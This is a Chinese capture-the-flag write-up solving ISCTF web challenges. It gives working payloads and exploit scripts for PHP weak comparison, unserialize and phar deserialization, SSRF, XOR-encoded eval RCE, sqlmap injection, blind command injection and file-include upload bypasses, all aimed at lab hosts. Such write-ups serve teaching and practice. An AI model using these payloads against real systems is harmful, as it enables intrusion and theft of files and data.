Web

EASY-PHP01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
if (isset($_POST['ISCTF'])) {
$ISCTF = $_POST['ISCTF'];
if($ISCTF == 114514){
if($ISCTF === "114514"){
echo "好臭啊";
}else{
echo $flag;
}
}else{
echo "= == === != !==";
}
}else{
echo "什么是POST?";
}
}else{
echo " 什么是GET?";
}

php弱类型比较。传入ISCTF=114514a即可。

这里用到了PHP弱比较的知识

== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。至于怎么转换后续会再赘述。
=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。

FakeWeb

打开链接一看很快就重定向到别的网站了,抓包看看。

image-20221105093638578.png

看到一个奇怪的If-None-Match和ETag,补充下知识点:

ETag是HTTP1.1中才加入的一个属性,用来帮助服务器控制Web端的缓存验证。

它的原理是这样的,当浏览器请求服务器的某项资源(A)时, 服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag返回给浏览器,浏览器把”3f80f-1b6-3e1cb03b” 和 A 同时缓存在本地,当下次再次向服务器请求A时,会通过类似 If-None-Match: “3f80f-1b6-3e1cb03b”的请求头把ETag发送给服务器,服务器再次计算A的哈希值并和浏览器返回的值做比较,如果发现A发生了变化就把A返回给浏览器(200),如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存,可以节省服务器的带宽,因为服务器不需要每次都把全量数据返回给客户端。

大概意思是比较If-None-Match和ETag,如果两者不相等则重新返回资源,否则不返回。

我们将If-None-Match修改之后再发包。就得到了flag。

image-20221105093946826.png

应该是个非预期吧,在sitemap里能看到burp爬过的记录,里面也能看到flag。

EASY-PHP02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
echo "做题前请告诉我你是小蓝鲨吗?";
exit();
}
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){

if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
if( $GET1 == 0 ){
echo "<br>"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";
$Ag=base64_encode($flag2);
}
}
}
$flag666 = $f1.$Ag;
echo $flag666;
?>

第一层:

1
2
3
4
5
6
7
8
9
10
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){

if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}

POST1必须是数字,POST1和POST2不相等,但是他们的md5值要相等。

这里用到了PHP特性的知识,md5弱比较。

原理:

在 php 中,当字符串 以0e开头时,会被 php 识别成科学计数法,会被认为是数字。

Payload1:http://120.79.18.34:20867/?NAME=1&P0ST1=0e545993274517709034328855841020&P0ST2=s878926199a

第二层

1
2
3
4
5
6
7
8
9
10
11
12
13
if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
if( $GET1 == 0 ){
echo "<br>"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";
$Ag=base64_encode($flag2);
}
}

这里要求$GET1不能为数字,而且$GET1又等于0,并且$GET2不能为数字,值大于678。

弱类型比较:

php 中0 与任何字符串比较都为 true,因为字符串被强制转换(截断)后都成了 0。

Payload2:GET1=a&GET2=6782s

前半段的flag要经过hex编码,后半段经过base64解码后可以得到一个unicode再解码即可。

ISCTF{4f759692-a911-4f11-bf22-ddaa305514c0}

simplephp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}

if(preg_match($pattern,$str,$arr))
{
echo "good try!";
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
echo "come on!!!";
if($num=='36'&isset($_GET['cmd'])){

eval($_GET['cmd']);



}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
}

要求preg_match($pattern,$str,$arr),就是pattern要在str内,注意#是界定符,所以这俩#都不能加。str=\\\\\\\\/Ilikeisctf

num通过is_numeric的检测,并且不等于36,去空后依然不等于36,经过过滤方法后等于要36。

fuzz一下,exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function filter($num)
{
$num = str_replace("0x", "1", $num);
$num = str_replace("0", "1", $num);
$num = str_replace(".", "1", $num);
$num = str_replace("e", "1", $num);
$num = str_replace("+", "1", $num);
return $num;
}
for ($i=0; $i < 127; $i++)
{
$num = '36'.chr($i);
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
{
echo urlencode(chr($i)) . "\n";
}
}

Payload:http://120.79.18.34:20545/?str=\\\\\\\\/Ilikeisctf&num=36%0C&cmd=system('cat /flag');

ISCTF{59551edf-ece1-4878-a4a8-7d10e0dbfb19}

猫和老鼠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);

class mouse
{
public $v;

public function __toString()
{
echo "Good. You caught the mouse:";
include($this->v);

}

}
class cat
{
public $a;
public $b;
public $c;


public function __destruct(){
$this->dog();
$this->b = $this->c;
die($this->a);
}
public function dog()
{
$this->a = "I'm a vicious dog, Kitty";
}
}
unserialize($_GET["cat"]);

?>

反序列化

这个题目就是一个反序列化加一个php伪协议的利用。 利用include执行php伪协议造成文件读取 主要是绕过在执行析构函数的时候绕过dog会把cat内的a属性给变成I’m a vicious dog, Kitty 利用引用绕过

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class mouse
{
public $v;

public function __construct()
{
$this->v = 'php://filter/convert.base64-encode/resource=flag.php';
}

}
class cat
{
public $a;
public $b;
public $c;
public function __construct()
{
$this->b = &$this->a;
$this->c = new mouse();
}
}

$abc = new cat();
echo serialize($abc);

解释一下$this->b = &$this->a;中&是取地址符号,意思是b将指向a的地址空间,这时a和b都是指向同一个地址空间,给b赋值就相当于给a赋值。

1
playload:cat=O:3:%22cat%22:3{s:1:%22a%22;N;s:1:%22b%22;R:2;s:1:%22c%22;O:5:%22mouse%22:1{s:1:%22v%22;s:52:%22php://filter/convert.base64-encode/resource=flag.php%22;}}

base64解码一下即可。

ISCTF{c98bfcc5-5688-4c9f-b11a-b61f3ff01b9f}

curl

这里有个this可以点击,然后提示让我们从本地访问,可以看到flag在www目录下。

image-20221105222032500.png

看源码,发现

1
2
3
4
5
6
if(isset($_GET['urls'])){
$urls = $_GET['urls'];
$url_host = parse_url($urls,PHP_URL_HOST);
//Do something~~~~
curl_get($urls);
}

意思是让我们传一个url地址,一道ssrf。

先尝试?urls=http://127.0.0.1/flag.php发现被过滤了,localhost也不行。

image-20221105222956977.png

尝试把127.0.0.1转化为其他进制试试看(也是能访问的)

2130706433 10进制 http://2130706433
017700000001 8进制 http://017700000001
7F000001 16进制 http://0x7F000001

尝试10进制可以,?urls=http://2130706433/flag.php

还有一种解法,看到注释里Do something~~~~就是对urls做了些处理,php里并没有curl_get函数,parse_url对url进行了分割。那么可以可以猜测curl_get函数是获得资源的。

1
http://120.79.18.34:20010/?urls=127.0.0.1/flag.php

也可以

1
http://120.79.18.34:20010/?urls=file:///var/www/html/flag.php

ISCTF{c706d632-5edf-4c4b-bf52-a3676c8411d9}

rce?

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
$code = $_GET['shell'];
var_dump(eval($code));
}else{

echo "你能拿到flag吗?";
}

正则过滤了数字和字母,很明显无数字字母rce。

exp.py

1
2
3
4
5
6
7
8
9
10
11
<?php
$a="tac /f*";
echo "(\"";
for ($i=0; $i < strlen($a); $i++) {
echo "%".dechex(ord($a[$i])^0xff);
}
echo "\"^\"";
for ($i=0; $i < strlen($a); $i++) {
echo "%ff";
}
echo "\")";

Payload:?shell=("%8c%86%8c%8b%9a%92"^"%ff%ff%ff%ff%ff%ff")("%8b%9e%9c%df%d0%99%d5"^"%ff%ff%ff%ff%ff%ff%ff");

ISCTF{11bdd027-5e99-4e21-b066-02dc1c125724}

傻注

找一下登录界面login.php

04c21f4583e14b4f9069deccc6f4d4d8.png

根据题目猜测,这是一道sql注入的题目

burp suit简单扫一下,发现存在ua注入,直接sqlmap一把梭

查看数据库
sqlmap -u http://120.79.18.34:20387/login.php --level 3 --dbs

4b8a9a503af6421ab11c8905eda0dff1.png

查看表
sqlmap -u http://120.79.18.34:20387/login.php --level 3 -D ctf --tables

c7ec92e83c96491aab2452445047b15f.png

查看user_agents内容

sqlmap -u http://120.79.18.34:20387/login.php --level 3 -D ctf -T user_agents --columns --dump

b5c59d4a63654969a7bb6f5c0320d79a.png

得到flag

easy-onlineshell

提示我们先扫描一下,dirsearch扫描后发现www.zip源码泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

import flask
import subprocess

app = flask.Flask(__name__)


@app.route("/")
def hello_world():
return "Try to access the /rce"


@app.route("/www.zip")
def return_SourceCode():
with open("./app.py", "r") as f:
return f.read()


@app.route("/rce", methods=['GET', 'POST'])
def action_rce():
if flask.request.method == "GET":
return "Why not try to search the backup"
elif flask.request.method == "POST":
action = flask.request.form["act"]
with open("/app/temp.sh", "w") as f:
f.write(action[1:-1])
res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
# print(res)
return "success"


if __name__ == '__main__':
app.run(debug=True)

分析代码发现是在/rce这个路由情况下就可以通过POST传入参数act,然后传入的内容的首位和末位都会被裁剪,然后再执行传入的参数。 所以这个题目可以采用命令盲注,利用sleep来注入(备注:题目提示无回显shell,尝试反弹shell、dnslog都失败,感觉这题无回显不出网,可能这个靶机是不连外网的。)

采用命令盲注,利用sleep来注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://120.79.18.34:20650/rce"

strs = ""

dics = "abcdefgh ijklmnopqrstuvwxyz{}[].1234567890QAZWSXEDCRFVTGBYHNUJMIKOLP?-"
for num1 in range(0, 60):
for st in dics:
data = {
'act': '1a=`cat 1.txt`;if [ "${'+'a:{}:'.format(num1)+'1}" == '+'"{}" ];then sleep 2;fi1'.format(st)
}
try:
requests.post(url=url, data=data, timeout=1)
except:
print(num1)
strs = strs+st
print(strs)
print(strs)

image-20221106155842877.png)

crazy-onlineshell

在easy-onlineshell基础上加了些过滤,同款脚本也能跑。

easy_upload

目录扫一下找到www.rar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
exit();
}
include $file;
}else{
include("upload.php");
}
?>

存在文件包含漏洞,结合文件上传,可以上传一个jpg然后利用这个包含,上传文件如下:

先上传个php文件把Content-Type: application/octet-stream

改成image/jpeg,发现还是非法文件,说明文件本身也有验证。那么传入:

image-20221108092202957.png

把后缀命改成jpg后上传,再包含它即可

1
playload:http://120.79.18.34:20635/?file=uplO4d/exp.jpg

image-20221108092327637.png

upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}

public function start(){
return $this->check();
}

private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}

private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}

public function __wakeup(){
echo file_get_contents($this->filename);
}
}


class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}

public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}

代码审计,发现有个文件包含漏洞。

1
2
3
public function __wakeup(){
echo file_get_contents($this->filename);
}

存在file_exists方法,这个方法可以触发phar反序列化。

1
2
3
4
5
6
7
8
9
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}

playload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function __wakeup(){
echo file_get_contents($this->filename);
}
}
$a=new upload();
$a->filename="/flag";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub('<?php __HALT_COMPILER();?>');//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘

生成phar文件,注意phpini中phar.readonly设置为Off,改后缀为jpg

之后文件读取它,?img_name=phar://upload/phar.jpg

ISCTF{597a25db-eaa2-473e-9893-a578645f1f818}